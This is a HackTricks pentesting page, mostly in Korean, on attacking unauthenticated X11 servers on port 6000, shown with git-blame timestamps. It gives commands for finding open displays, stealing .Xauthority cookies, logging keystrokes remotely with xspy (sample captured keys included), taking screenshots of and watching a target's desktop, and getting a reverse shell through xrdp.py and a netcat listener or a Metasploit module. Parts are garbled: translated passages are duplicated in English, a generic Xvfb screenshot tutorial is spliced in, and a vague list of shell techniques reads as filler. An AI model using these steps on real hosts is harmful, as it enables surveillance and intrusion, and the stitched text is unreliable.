hacktricks/network-services-pentesting/6000-pentesting-x11.md

277 lines
13 KiB
Markdown
Raw Normal View History

2024-02-10 21:30:13 +00:00
# 6000 - X11 펜테스팅
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-03 10:42:55 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **Hacking Tricks를 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.
2022-04-28 16:01:33 +00:00
</details>
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 21:30:13 +00:00
경험있는 해커와 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
2023-02-27 09:28:45 +00:00
2024-02-10 21:30:13 +00:00
**해킹 인사이트**\
해킹의 스릴과 도전을 다루는 콘텐츠와 상호 작용하세요.
2023-02-27 09:28:45 +00:00
2024-02-10 21:30:13 +00:00
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
2023-07-14 15:03:41 +00:00
2024-02-10 21:30:13 +00:00
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.
2023-07-14 15:03:41 +00:00
2024-02-10 21:30:13 +00:00
**[Discord](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!**
2022-11-05 09:07:43 +00:00
2024-02-10 21:30:13 +00:00
## 기본 정보
2024-02-10 21:30:13 +00:00
**X Window System** (X)은 UNIX 기반 운영 체제에서 널리 사용되는 다목적 창 시스템입니다. 이는 개별 프로그램이 사용자 인터페이스 디자인을 처리하는 그래픽 **사용자 인터페이스 (GUI)**를 생성하기 위한 프레임워크를 제공합니다. 이러한 유연성은 X 환경 내에서 다양하고 사용자 정의 가능한 경험을 가능하게 합니다.
2024-02-10 21:30:13 +00:00
**기본 포트:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
2024-02-10 21:30:13 +00:00
## 열거
2024-02-10 21:30:13 +00:00
**익명 연결**을 확인하세요.
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
2024-02-10 21:30:13 +00:00
#### 로컬 열거
2024-02-10 21:30:13 +00:00
사용자의 홈 폴더에있는 파일 **`.Xauthority`**은 **X11의 인증에 사용**됩니다. [**여기**](https://stackoverflow.com/a/37367518)에서:
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
2024-02-10 21:30:13 +00:00
> MIT-magic-cookie-1: 128비트의 키("쿠키")를 생성하여 \~/.Xauthority(또는 XAUTHORITY 환경 변수가 가리키는 위치)에 저장합니다. 클라이언트는 이를 평문으로 서버에 보냅니다! 서버는 이 "쿠키"의 사본을 가지고 있는지 확인하고, 그렇다면 연결이 허용됩니다. 이 키는 DMX에 의해 생성됩니다.
{% hint style="warning" %}
2024-02-10 21:30:13 +00:00
쿠키를 **사용**하려면 환경 변수를 설정해야 합니다: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
2024-02-10 21:30:13 +00:00
#### 로컬 열거 세션
```bash
2024-02-10 21:30:13 +00:00
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
2024-02-10 21:30:13 +00:00
## 연결 확인
2024-02-10 21:30:13 +00:00
To verify the X11 connection, you can use the `xeyes` command. This command will open a small window with a pair of eyes that follow the mouse cursor. If the X11 connection is successful, you should see the eyes following your mouse movements.
2024-02-10 21:30:13 +00:00
X11 연결을 확인하기 위해 `xeyes` 명령을 사용할 수 있습니다. 이 명령은 마우스 커서를 따라가는 눈 쌍이 있는 작은 창을 엽니다. X11 연결이 성공적이라면 눈이 마우스 움직임을 따라가는 것을 볼 수 있어야 합니다.
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
2024-02-10 21:30:13 +00:00
## 키로깅
2024-02-10 21:30:13 +00:00
[xspy](http://tools.kali.org/sniffingspoofing/xspy)를 사용하여 키보드의 키 입력을 가로채세요.
2024-02-10 21:30:13 +00:00
샘플 출력:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
2024-02-10 21:30:13 +00:00
## 스크린샷 캡처
To gather evidence during a penetration test, capturing screenshots can be a useful technique. Screenshots can provide visual proof of successful exploits, sensitive information, or unauthorized access.
### Using X11
2024-02-10 21:30:13 +00:00
X11 is a widely used windowing system that allows graphical applications to run on Unix-like operating systems. It provides a protocol for communication between the client (application) and the server (display).
To capture screenshots using X11, you can use the `xwd` command. This command allows you to capture the contents of the X11 display and save it as an XWD (X Window Dump) file.
Here's an example of how to capture a screenshot using `xwd`:
```bash
2024-02-10 21:30:13 +00:00
$ xwd -root -out screenshot.xwd
```
2024-02-10 21:30:13 +00:00
This command captures the entire root window and saves it as `screenshot.xwd` in the current directory.
2024-02-10 21:30:13 +00:00
To view the captured screenshot, you can use the `xwud` command:
2024-02-10 21:30:13 +00:00
```bash
$ xwud -in screenshot.xwd
```
2024-02-10 21:30:13 +00:00
This command opens a window displaying the captured screenshot.
### Using Xvfb
Xvfb (X virtual framebuffer) is a display server implementation that performs all graphical operations in memory without showing any screen output. It can be used to capture screenshots without displaying them on a physical screen.
To capture screenshots using Xvfb, you can follow these steps:
1. Start Xvfb:
```bash
$ Xvfb :1 -screen 0 1024x768x24
```
This command starts Xvfb on display `:1` with a screen resolution of `1024x768` and a color depth of `24` bits.
2. Set the `DISPLAY` environment variable to point to the Xvfb display:
```bash
$ export DISPLAY=:1
```
3. Capture a screenshot using `xwd`:
```bash
$ xwd -root -out screenshot.xwd
```
2024-02-10 21:30:13 +00:00
This command captures the entire root window and saves it as `screenshot.xwd` in the current directory.
2024-02-10 21:30:13 +00:00
4. View the captured screenshot using `xwud`:
```bash
$ xwud -in screenshot.xwd
```
This command opens a window displaying the captured screenshot.
Capturing screenshots can be a valuable technique for documenting and presenting findings during a penetration test. It allows you to provide visual evidence of your actions and discoveries, making it easier to communicate the impact of vulnerabilities to stakeholders.
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## 원격 데스크톱 보기
출처: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
방법: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
먼저 xwininfo를 사용하여 창의 ID를 찾아야합니다.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
2024-02-10 21:30:13 +00:00
실시간으로 보기 위해서는 사용해야 합니다.
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2024-02-10 21:30:13 +00:00
## 쉘 획득
2024-02-10 21:30:13 +00:00
To gain shell access on a target system, you can exploit vulnerabilities in the X11 server. Here are a few techniques you can use:
2024-02-10 21:30:13 +00:00
### 1. X11 Forwarding
If the target system has X11 forwarding enabled, you can use it to run X11 applications remotely and potentially gain shell access. To do this, you need to have a local X server running and set the `DISPLAY` environment variable to point to your local X server.
### 2. X11 Reverse Shell
You can also use a reverse shell payload to exploit the X11 server. This involves creating a malicious X11 client that connects back to your machine and spawns a shell. Once the connection is established, you will have shell access on the target system.
### 3. X11 Injection
X11 injection involves injecting malicious code into a legitimate X11 client application. This can be done by modifying the client's code or by intercepting and modifying the X11 protocol messages. By injecting code, you can execute arbitrary commands on the target system and gain shell access.
### 4. X11 Server Vulnerabilities
Lastly, you can search for vulnerabilities in the X11 server software itself. Common vulnerabilities include buffer overflows, format string vulnerabilities, and privilege escalation vulnerabilities. Exploiting these vulnerabilities can allow you to gain shell access on the target system.
Remember to always obtain proper authorization before attempting any of these techniques. Unauthorized access to systems is illegal and unethical.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
2024-02-10 21:30:13 +00:00
다른 방법:
2024-02-10 21:30:13 +00:00
**리버스 쉘:** Xrdp는 Netcat을 통해 리버스 쉘을 사용할 수도 있습니다. 다음 명령을 입력하세요:
2024-02-08 21:36:35 +00:00
```bash
./xrdp.py \<IP:0> no-disp
```
2024-02-10 21:30:13 +00:00
인터페이스에서 **R-쉘 옵션**을 볼 수 있습니다.
2024-02-10 21:30:13 +00:00
그런 다음 로컬 시스템에서 포트 5555에서 **Netcat 리스너**를 시작하세요.
2024-02-08 21:36:35 +00:00
```bash
nc -lvp 5555
```
2024-02-10 21:30:13 +00:00
그럼, **R-Shell** 옵션에 IP 주소와 포트를 입력하고 **R-Shell**을 클릭하여 쉘을 얻으세요.
2024-02-10 21:30:13 +00:00
## 참고 자료
2024-02-08 21:36:35 +00:00
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
2020-09-24 20:01:29 +00:00
2023-03-05 19:54:13 +00:00
## Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-02-10 21:30:13 +00:00
경험 많은 해커와 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
2022-11-05 09:07:43 +00:00
2024-02-10 21:30:13 +00:00
**해킹 통찰력**\
해킹의 스릴과 도전을 다루는 콘텐츠에 참여하세요.
2023-02-27 09:28:45 +00:00
2024-02-10 21:30:13 +00:00
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
2023-02-27 09:28:45 +00:00
2024-02-10 21:30:13 +00:00
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.
2023-02-27 09:28:45 +00:00
2024-02-10 21:30:13 +00:00
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에 가입하여 최고의 해커들과 협업을 시작하세요!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-03 10:42:55 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
2022-04-28 16:01:33 +00:00
</details>